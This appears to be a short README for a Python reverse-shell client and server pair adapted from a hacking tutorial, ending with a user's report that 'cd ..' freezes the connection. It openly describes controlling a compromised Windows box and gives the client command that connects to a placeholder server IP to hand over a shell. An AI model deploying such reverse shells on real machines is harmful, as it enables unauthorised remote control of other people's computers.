Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).
Requirements:
- a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
- a server: a Linux machine (might work elsewhere)
An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.
Suppose your server IP address is 1.2.3.4
Execute on server:
$ python revshell_server.py
Execute on client:
C:\> python revshell_client.py 1.2.3.4
setup: windows (client) to linux (server)
running shell cd .. (on the server) seems to put the connection in an unstable state. By which I mean specifically from that point forward I cannot do anything but close out both connections... No errors given. Just an unresponsive server and client.